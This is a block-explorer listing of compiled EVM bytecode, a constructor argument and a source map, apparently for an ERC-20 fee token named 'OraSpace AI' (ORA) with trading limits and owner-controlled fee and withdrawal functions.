0160205260409020556112b16112928484611648565b6001600160a01b038616600090815260016020526040902054906115e9565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112fb8686611648565b60405190815260200160405180910390a35050505050565b600081848411156113375760405162461bcd60e51b815260040161047691906116b8565b50600061134484866119cc565b95945050505050565b60008260000361135f57506000610446565b600061136b838561191c565b90508261137885836119df565b146113cf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610476565b9392505050565b60006113cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061168a565b600081831161142757826113cf565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061147557611475611a01565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f29190611933565b8160018151811061150557611505611a01565b6001600160a01b03928316602091820292909201015260125461152b9130911684610aa2565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611564908590600090869030904290600401611a17565b600060405180830381600087803b15801561157e57600080fd5b505af1158015611592573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156115e5573d6000803e3d6000fd5b5050565b6000806115f683856119a0565b9050838110156113cf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610476565b60006113cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611313565b600081836116ab5760405162461bcd60e51b815260040161047691906116b8565b50600061134484866119df565b600060208083528351808285015260005b818110156116e5578581018301518582016040015282016116c9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063a57600080fd5b6000806040838503121561172e57600080fd5b823561173981611706565b946020939093013593505050565b60008060006060848603121561175c57600080fd5b833561176781611706565b9250602084013561177781611706565b929592945050506040919091013590565b60006020828403121561179a57600080fd5b81356113cf81611706565b600080604083850312156117b857600080fd5b82356117c381611706565b915060208301356117d381611706565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561186457816000190482111561184a5761184a611813565b8085161561185757918102915b93841c939080029061182e565b509250929050565b60008261187b57506001610446565b8161188857506000610446565b816001811461189e57600281146118a8576118c4565b6001915050610446565b60ff8411156118b9576118b9611813565b50506001821b610446565b5060208310610133831016604e8410600b84101617156118e7575081810a610446565b6118f18383611829565b806000190482111561190557611905611813565b029392505050565b60006113cf60ff84168361186c565b808202811582820484141761044657610446611813565b60006020828403121561194557600080fd5b81516113cf81611706565b60008060006060848603121561196557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561199057600080fd5b815180151581146113cf57600080fd5b8082018082111561044657610446611813565b6000600182016119c5576119c5611813565b5060010190565b8181038181111561044657610446611813565b6000826119fc57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a675784516001600160a01b031683529383019391830191600101611a42565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be08025534b76f55b245e02695f6b5eb4f8121990989234be7e9b7ec6b599d4664736f6c63430008130033000000000000000000000000b0432b72c8a651f7b658e342549ba2b5abb4e68b

Deployed Bytecode

0x6080604052600436106101395760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b411461035f578063a9059cbb1461038b578063c67aab50146103ab578063c692aaca146103c0578063c876d0b9146103d5578063dd62ed3e146103ef57600080fd5b8063715018a6146102ea5780637830b072146102ff5780637f4309001461031557806382247ec01461032b5780638da5cb5b1461034157600080fd5b806318160ddd116100fd57806318160ddd1461022e57806323b872dd14610243578063313ce5671461026357806349bd5a5e1461027f5780635672ca931461029f57806370a08231146102b457600080fd5b806306fdde0314610145578063095ea7b31461018b5780630faee56f146101bb5780631694505e146101df578063171b85c51461021757600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600b81526a4f7261537061636520414960a81b60208201525b60405161018291906116b8565b60405180910390f35b34801561019757600080fd5b506101ab6101a636600461171b565b610435565b6040519015158152602001610182565b3480156101c757600080fd5b506101d160115481565b604051908152602001610182565b3480156101eb57600080fd5b506012546101ff906001600160a01b031681565b6040516001600160a01b039091168152602001610182565b34801561022357600080fd5b5061022c61044c565b005b34801561023a57600080fd5b506101d1610511565b34801561024f57600080fd5b506101ab61025e366004611747565b610532565b34801561026f57600080fd5b5060405160128152602001610182565b34801561028b57600080fd5b506013546101ff906001600160a01b031681565b3480156102ab57600080fd5b5061022c61059b565b3480156102c057600080fd5b506101d16102cf366004611788565b6001600160a01b031660009081526001602052604090205490565b3480156102f657600080fd5b5061022c61063d565b34801561030b57600080fd5b506101d1600e5481565b34801561032157600080fd5b506101d160105481565b34801561033757600080fd5b506101d1600f5481565b34801561034d57600080fd5b506000546001600160a01b03166101ff565b34801561036b57600080fd5b506040805180820190915260038152624f524160e81b6020820152610175565b34801561039757600080fd5b506101ab6103a636600461171b565b6106b1565b3480156103b757600080fd5b5061022c6106be565b3480156103cc57600080fd5b5061022c61075b565b3480156103e157600080fd5b506005546101ab9060ff1681565b3480156103fb57600080fd5b506101d161040a3660046117a5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610442338484610aa2565b5060015b92915050565b6000546001600160a01b0316331461047f5760405162461bcd60e51b8152600401610476906117de565b60405180910390fd5b61048b6012600a61190d565b610499906305f5e10061191c565b600e556104a86012600a61190d565b6104b6906305f5e10061191c565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104f06012600a61190d565b6104fe906305f5e10061191c565b60405190815260200160405180910390a1565b600061051f6012600a61190d565b61052d906305f5e10061191c565b905090565b600061053f848484610bc6565b610591843361058c85604051806060016040528060288152602001611a89602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611313565b610aa2565b5060019392505050565b6000546001600160a01b031633146105c55760405162461bcd60e51b8152600401610476906117de565b6000471161060e5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610476565b60405133904780156108fc02916000818181858888f1935050505015801561063a573d6000803e3d6000fd5b50565b6000546001600160a01b031633146106675760405162461bcd60e51b8152600401610476906117de565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610442338484610bc6565b6000546001600160a01b031633146106e85760405162461bcd60e51b8152600401610476906117de565b601354600160a01b900460ff16156107425760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610476565b6013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146107855760405162461bcd60e51b8152600401610476906117de565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556107cd913091906107bf90600a61190d565b61058c906305f5e10061191c565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610820573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108449190611933565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ca9190611933565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093b9190611933565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610983816001600160a01b031660009081526001602052604090205490565b6000806109986000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a259190611950565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063a919061197e565b6001600160a01b038316610b045760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610476565b6001600160a01b038216610b655760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610476565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c2a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610476565b6001600160a01b038216610c8c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610476565b60008111610cee5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610476565b600081610d036000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d3257506000546001600160a01b03858116911614155b8015610d4757506001600160a01b0385163014155b156111cf576001600160a01b03851660009081526003602052604090205460ff16158015610d8e57506001600160a01b03841660009081526003602052604090205460ff16155b15610de257601354600160a01b900460ff16610de25760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610476565b60055460ff1615610e9b576012546001600160a01b03858116911614801590610e1957506013546001600160a01b03858116911614155b15610e9b57326000908152600460205260409020544311610e885760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610476565b3260009081526004602052604090204390555b6013546001600160a01b038681169116148015610ec657506012546001600160a01b03858116911614155b8015610eeb57506001600160a01b03841660009081526003602052604090205460ff16155b15610fc957600e54831115610f385760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610476565b600f5483610f5b866001600160a01b031660009081526001602052604090205490565b610f6591906119a0565b1115610fb35760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610476565b600d8054906000610fc3836119b3565b91905055505b610ff56064610fef600a54600d5411610fe457600654610fe8565b6008545b869061134d565b906113d6565b6013549092506001600160a01b03858116911614801561101e57506001600160a01b0385163014155b15611112576005546001600160a01b036101009091048116908616036110a2576000915061109b61105f6064610fef6008548761134d90919063ffffffff16565b61109661107c6064610fef6006548961134d90919063ffffffff16565b6110966064610fef6007548a61134d90919063ffffffff16565b611418565b9050611112565b600e548311156110ea5760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610476565b61110f6064610fef600b54600d541161110557600754610fe8565b600954869061134d565b91505b3060009081526001602052604081205490506000600c54600d54118015611145575061114060105486611418565b601054145b601354909150600160a81b900460ff1615801561116f57506013546001600160a01b038781169116145b80156111845750601354600160b01b900460ff165b80156111935750600c54600d54115b801561119c5750805b156111cc576010548211156111c3576111c36111be8661109685601154611418565b61142d565b6111cc476115a7565b50505b811561124957306000908152600160205260409020546111ef90836115e9565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112409086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461126c9082611648565b6001600160a01b0386166000908152600160205260409020556112b16112928484611648565b6001600160a01b038616600090815260016020526040902054906115e9565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112fb8686611648565b60405190815260200160405180910390a35050505050565b600081848411156113375760405162461bcd60e51b815260040161047691906116b8565b50600061134484866119cc565b95945050505050565b60008260000361135f57506000610446565b600061136b838561191c565b90508261137885836119df565b146113cf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610476565b9392505050565b60006113cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061168a565b600081831161142757826113cf565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061147557611475611a01565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f29190611933565b8160018151811061150557611505611a01565b6001600160a01b03928316602091820292909201015260125461152b9130911684610aa2565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611564908590600090869030904290600401611a17565b600060405180830381600087803b15801561157e57600080fd5b505af1158015611592573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156115e5573d6000803e3d6000fd5b5050565b6000806115f683856119a0565b9050838110156113cf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610476565b60006113cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611313565b600081836116ab5760405162461bcd60e51b815260040161047691906116b8565b50600061134484866119df565b600060208083528351808285015260005b818110156116e5578581018301518582016040015282016116c9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063a57600080fd5b6000806040838503121561172e57600080fd5b823561173981611706565b946020939093013593505050565b60008060006060848603121561175c57600080fd5b833561176781611706565b9250602084013561177781611706565b929592945050506040919091013590565b60006020828403121561179a57600080fd5b81356113cf81611706565b600080604083850312156117b857600080fd5b82356117c381611706565b915060208301356117d381611706565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561186457816000190482111561184a5761184a611813565b8085161561185757918102915b93841c939080029061182e565b509250929050565b60008261187b57506001610446565b8161188857506000610446565b816001811461189e57600281146118a8576118c4565b6001915050610446565b60ff8411156118b9576118b9611813565b50506001821b610446565b5060208310610133831016604e8410600b84101617156118e7575081810a610446565b6118f18383611829565b806000190482111561190557611905611813565b029392505050565b60006113cf60ff84168361186c565b808202811582820484141761044657610446611813565b60006020828403121561194557600080fd5b81516113cf81611706565b60008060006060848603121561196557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561199057600080fd5b815180151581146113cf57600080fd5b8082018082111561044657610446611813565b6000600182016119c5576119c5611813565b5060010190565b8181038181111561044657610446611813565b6000826119fc57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a675784516001600160a01b031683529383019391830191600101611a42565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be08025534b76f55b245e02695f6b5eb4f8121990989234be7e9b7ec6b599d4664736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000b0432b72c8a651f7b658e342549ba2b5abb4e68b

-----Decoded View---------------
Arg [0] : _oraAddress (address): 0xb0432b72C8a651f7b658e342549BA2B5Abb4e68b

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000b0432b72c8a651f7b658e342549ba2b5abb4e68b


Deployed Bytecode Sourcemap

3694:8493:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8952:83;;;;;;;;;;-1:-1:-1;9022:5:0;;;;;;;;;;;;-1:-1:-1;;;9022:5:0;;;;8952:83;;;;;;;:::i;:::-;;;;;;;;6490:161;;;;;;;;;;-1:-1:-1;6490:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6490:161:0;1023:187:1;4755:51:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4755:51:0;1215:177:1;4929:41:0;;;;;;;;;;-1:-1:-1;4929:41:0;;;;-1:-1:-1;;;;;4929:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;4929:41:0;1397:229:1;11978:206:0;;;;;;;;;;;;;:::i;:::-;;7603:100;;;;;;;;;;;;;:::i;6018:313::-;;;;;;;;;;-1:-1:-1;6018:313:0;;;;;:::i;:::-;;:::i;8185:83::-;;;;;;;;;;-1:-1:-1;8185:83:0;;4488:2;2234:36:1;;2222:2;2207:18;8185:83:0;2092:184:1;4977:28:0;;;;;;;;;;-1:-1:-1;4977:28:0;;;;-1:-1:-1;;;;;4977:28:0;;;6661:189;;;;;;;;;;;;;:::i;8054:119::-;;;;;;;;;;-1:-1:-1;8054:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8147:18:0;8120:7;8147:18;;;:9;:18;;;;;;;8054:119;2773:148;;;;;;;;;;;;;:::i;4573:49::-;;;;;;;;;;;;;;;;4689:59;;;;;;;;;;;;;;;;4629:53;;;;;;;;;;;;;;;;2559:79;;;;;;;;;;-1:-1:-1;2597:7:0;2624:6;-1:-1:-1;;;;;2624:6:0;2559:79;;6864:87;;;;;;;;;;-1:-1:-1;6936:7:0;;;;;;;;;;;;-1:-1:-1;;;6936:7:0;;;;6864:87;;5837:167;;;;;;;;;;-1:-1:-1;5837:167:0;;;;;:::i;:::-;;:::i;8767:173::-;;;;;;;;;;;;;:::i;6963:579::-;;;;;;;;;;;;;:::i;4049:40::-;;;;;;;;;;-1:-1:-1;4049:40:0;;;;;;;;6339:143;;;;;;;;;;-1:-1:-1;6339:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6447:18:0;;;6420:7;6447:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6339:143;6490:161;6565:4;6582:39;394:10;6605:7;6614:6;6582:8;:39::i;:::-;-1:-1:-1;6639:4:0;6490:161;;;;;:::o;11978:206::-;2686:6;;-1:-1:-1;;;;;2686:6:0;394:10;2686:22;2678:67;;;;-1:-1:-1;;;2678:67:0;;;;;;;:::i;:::-;;;;;;;;;4551:13:::1;4488:2;4551;:13;:::i;:::-;4537:27;::::0;:11:::1;:27;:::i;:::-;12034:6;:21:::0;4551:13:::1;4488:2;4551;:13;:::i;:::-;4537:27;::::0;:11:::1;:27;:::i;:::-;12066:10;:23:::0;12102:20:::1;:26:::0;;-1:-1:-1;;12102:26:0::1;::::0;;12144:32:::1;4551:13;4488:2;-1:-1:-1::0;4551:13:0::1;:::i;:::-;4537:27;::::0;:11:::1;:27;:::i;:::-;12144:32;::::0;1361:25:1;;;1349:2;1334:18;12144:32:0::1;;;;;;;11978:206::o:0;7603:100::-;7656:7;4551:13;4488:2;4551;:13;:::i;:::-;4537:27;;:11;:27;:::i;:::-;7676:19;;7603:100;:::o;6018:313::-;6116:4;6133:36;6143:6;6151:9;6162:6;6133:9;:36::i;:::-;6180:121;6189:6;394:10;6211:89;6249:6;6211:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6211:19:0;;;;;;:11;:19;;;;;;;;394:10;6211:33;;;;;;;;;;:37;:89::i;:::-;6180:8;:121::i;:::-;-1:-1:-1;6319:4:0;6018:313;;;;;:::o;6661:189::-;2686:6;;-1:-1:-1;;;;;2686:6:0;394:10;2686:22;2678:67;;;;-1:-1:-1;;;2678:67:0;;;;;;;:::i;:::-;6752:1:::1;6728:21;:25;6720:60;;;::::0;-1:-1:-1;;;6720:60:0;;5385:2:1;6720:60:0::1;::::0;::::1;5367:21:1::0;5424:2;5404:18;;;5397:30;-1:-1:-1;;;5443:18:1;;;5436:52;5505:18;;6720:60:0::1;5183:346:1::0;6720:60:0::1;6791:51;::::0;6799:10:::1;::::0;6820:21:::1;6791:51:::0;::::1;;;::::0;::::1;::::0;;;6820:21;6799:10;6791:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;6661:189::o:0;2773:148::-;2686:6;;-1:-1:-1;;;;;2686:6:0;394:10;2686:22;2678:67;;;;-1:-1:-1;;;2678:67:0;;;;;;;:::i;:::-;2880:1:::1;2864:6:::0;;2843:40:::1;::::0;-1:-1:-1;;;;;2864:6:0;;::::1;::::0;2843:40:::1;::::0;2880:1;;2843:40:::1;2911:1;2894:19:::0;;-1:-1:-1;;;;;;2894:19:0::1;::::0;;2773:148::o;5837:167::-;5915:4;5932:42;394:10;5956:9;5967:6;5932:9;:42::i;8767:173::-;2686:6;;-1:-1:-1;;;;;2686:6:0;394:10;2686:22;2678:67;;;;-1:-1:-1;;;2678:67:0;;;;;;;:::i;:::-;8836:11:::1;::::0;-1:-1:-1;;;8836:11:0;::::1;;;8835:12;8827:47;;;::::0;-1:-1:-1;;;8827:47:0;;5736:2:1;8827:47:0::1;::::0;::::1;5718:21:1::0;5775:2;5755:18;;;5748:30;5814:25;5794:18;;;5787:53;5857:18;;8827:47:0::1;5534:347:1::0;8827:47:0::1;8885:11;:18:::0;;-1:-1:-1;;;;8914:18:0;-1:-1:-1;;;8914:18:0;;;8767:173::o;6963:579::-;2686:6;;-1:-1:-1;;;;;2686:6:0;394:10;2686:22;2678:67;;;;-1:-1:-1;;;2678:67:0;;;;;;;:::i;:::-;7029:15:::1;:80:::0;;-1:-1:-1;;;;;;7029:80:0::1;7066:42;7029:80:::0;;::::1;::::0;;7120:63:::1;::::0;7137:4:::1;::::0;7066:42;4551:13:::1;::::0;:2:::1;:13;:::i;:::-;4537:27;::::0;:11:::1;:27;:::i;7120:63::-;7228:15;;;;;;;;;-1:-1:-1::0;;;;;7228:15:0::1;-1:-1:-1::0;;;;;7228:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7210:55:0::1;;7274:4;7281:15;;;;;;;;;-1:-1:-1::0;;;;;7281:15:0::1;-1:-1:-1::0;;;;;7281:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7210:94;::::0;-1:-1:-1;;;;;;7210:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6372:15:1;;;7210:94:0::1;::::0;::::1;6354:34:1::0;6424:15;;6404:18;;;6397:43;6289:18;;7210:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7194:13;:110:::0;;-1:-1:-1;;;;;7194:110:0;;::::1;-1:-1:-1::0;;;;;;7194:110:0;;::::1;;::::0;;7315:15:::1;::::0;::::1;:31;7354:21;7385:4;7391:24;7385:4:::0;-1:-1:-1;;;;;8147:18:0;8120:7;8147:18;;;:9;:18;;;;;;;8054:119;7391:24:::1;7416:1;7418::::0;7420:7:::1;2597::::0;2624:6;-1:-1:-1;;;;;2624:6:0;;2559:79;7420:7:::1;7315:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7315:129:0;;;-1:-1:-1;;;;;6810:15:1;;;7315:129:0::1;::::0;::::1;6792:34:1::0;6842:18;;;6835:34;;;;6885:18;;;6878:34;;;;6928:18;;;6921:34;6992:15;;;6971:19;;;6964:44;7428:15:0::1;7024:19:1::0;;;7017:35;6726:19;;7315:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7462:13:0::1;::::0;7493:15:::1;::::0;7455:71:::1;::::0;-1:-1:-1;;;7455:71:0;;-1:-1:-1;;;;;7493:15:0;;::::1;7455:71;::::0;::::1;7548:51:1::0;-1:-1:-1;;7615:18:1;;;7608:34;7462:13:0;::::1;::::0;-1:-1:-1;7455:29:0::1;::::0;7521:18:1;;7455:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;7711:335::-:0;-1:-1:-1;;;;;7804:19:0;;7796:68;;;;-1:-1:-1;;;7796:68:0;;8137:2:1;7796:68:0;;;8119:21:1;8176:2;8156:18;;;8149:30;8215:34;8195:18;;;8188:62;-1:-1:-1;;;8266:18:1;;;8259:34;8310:19;;7796:68:0;7935:400:1;7796:68:0;-1:-1:-1;;;;;7883:21:0;;7875:68;;;;-1:-1:-1;;;7875:68:0;;8542:2:1;7875:68:0;;;8524:21:1;8581:2;8561:18;;;8554:30;8620:34;8600:18;;;8593:62;-1:-1:-1;;;8671:18:1;;;8664:32;8713:19;;7875:68:0;8340:398:1;7875:68:0;-1:-1:-1;;;;;7954:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8006:32;;1361:25:1;;;8006:32:0;;1334:18:1;8006:32:0;;;;;;;7711:335;;;:::o;9043:2927::-;-1:-1:-1;;;;;9131:18:0;;9123:68;;;;-1:-1:-1;;;9123:68:0;;8945:2:1;9123:68:0;;;8927:21:1;8984:2;8964:18;;;8957:30;9023:34;9003:18;;;8996:62;-1:-1:-1;;;9074:18:1;;;9067:35;9119:19;;9123:68:0;8743:401:1;9123:68:0;-1:-1:-1;;;;;9210:16:0;;9202:64;;;;-1:-1:-1;;;9202:64:0;;9351:2:1;9202:64:0;;;9333:21:1;9390:2;9370:18;;;9363:30;9429:34;9409:18;;;9402:62;-1:-1:-1;;;9480:18:1;;;9473:33;9523:19;;9202:64:0;9149:399:1;9202:64:0;9294:1;9285:6;:10;9277:64;;;;-1:-1:-1;;;9277:64:0;;9755:2:1;9277:64:0;;;9737:21:1;9794:2;9774:18;;;9767:30;9833:34;9813:18;;;9806:62;-1:-1:-1;;;9884:18:1;;;9877:39;9933:19;;9277:64:0;9553:405:1;9277:64:0;9354:21;9416:6;9447:7;2597;2624:6;-1:-1:-1;;;;;2624:6:0;;2559:79;9447:7;-1:-1:-1;;;;;9439:15:0;:4;-1:-1:-1;;;;;9439:15:0;;;:32;;;;-1:-1:-1;2597:7:0;2624:6;-1:-1:-1;;;;;9458:13:0;;;2624:6;;9458:13;;9439:32;:57;;;;-1:-1:-1;;;;;;9475:21:0;;9491:4;9475:21;;9439:57;9435:2149;;;-1:-1:-1;;;;;9530:24:0;;;;;;:18;:24;;;;;;;;9529:25;:52;;;;-1:-1:-1;;;;;;9559:22:0;;;;;;:18;:22;;;;;;;;9558:23;9529:52;9525:136;;;9610:11;;-1:-1:-1;;;9610:11:0;;;;9602:43;;;;-1:-1:-1;;;9602:43:0;;10165:2:1;9602:43:0;;;10147:21:1;10204:2;10184:18;;;10177:30;-1:-1:-1;;;10223:18:1;;;10216:49;10282:18;;9602:43:0;9963:343:1;9602:43:0;9682:20;;;;9678:346;;;9741:15;;-1:-1:-1;;;;;9727:30:0;;;9741:15;;9727:30;;;;:62;;-1:-1:-1;9775:13:0;;-1:-1:-1;;;;;9761:28:0;;;9775:13;;9761:28;;9727:62;9723:286;;;9849:9;9820:39;;;;:28;:39;;;;;;9862:12;-1:-1:-1;9812:102:0;;;;-1:-1:-1;;;9812:102:0;;10513:2:1;9812:102:0;;;10495:21:1;10552:2;10532:18;;;10525:30;10591:34;10571:18;;;10564:62;-1:-1:-1;;;10642:18:1;;;10635:34;10686:19;;9812:102:0;10311:400:1;9812:102:0;9964:9;9935:39;;;;:28;:39;;;;;9977:12;9935:54;;9723:286;10052:13;;-1:-1:-1;;;;;10044:21:0;;;10052:13;;10044:21;:55;;;;-1:-1:-1;10083:15:0;;-1:-1:-1;;;;;10069:30:0;;;10083:15;;10069:30;;10044:55;:83;;;;-1:-1:-1;;;;;;10105:22:0;;;;;;:18;:22;;;;;;;;10103:24;10044:83;10040:313;;;10167:6;;10157;:16;;10149:48;;;;-1:-1:-1;;;10149:48:0;;10918:2:1;10149:48:0;;;10900:21:1;10957:2;10937:18;;;10930:30;-1:-1:-1;;;10976:18:1;;;10969:49;11035:18;;10149:48:0;10716:343:1;10149:48:0;10250:10;;10240:6;10224:13;10234:2;-1:-1:-1;;;;;8147:18:0;8120:7;8147:18;;;:9;:18;;;;;;;8054:119;10224:13;:22;;;;:::i;:::-;:36;;10216:75;;;;-1:-1:-1;;;10216:75:0;;11396:2:1;10216:75:0;;;11378:21:1;11435:2;11415:18;;;11408:30;11474:28;11454:18;;;11447:56;11520:18;;10216:75:0;11194:350:1;10216:75:0;10326:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10040:313;10387:73;10456:3;10387:64;10409:15;;10399:9;;:25;10398:52;;10439:11;;10398:52;;;10426:12;;10398:52;10387:6;;:10;:64::i;:::-;:68;;:73::i;:::-;10484:13;;10371:89;;-1:-1:-1;;;;;;10478:19:0;;;10484:13;;10478:19;:43;;;;-1:-1:-1;;;;;;10501:20:0;;10516:4;10501:20;;10478:43;10475: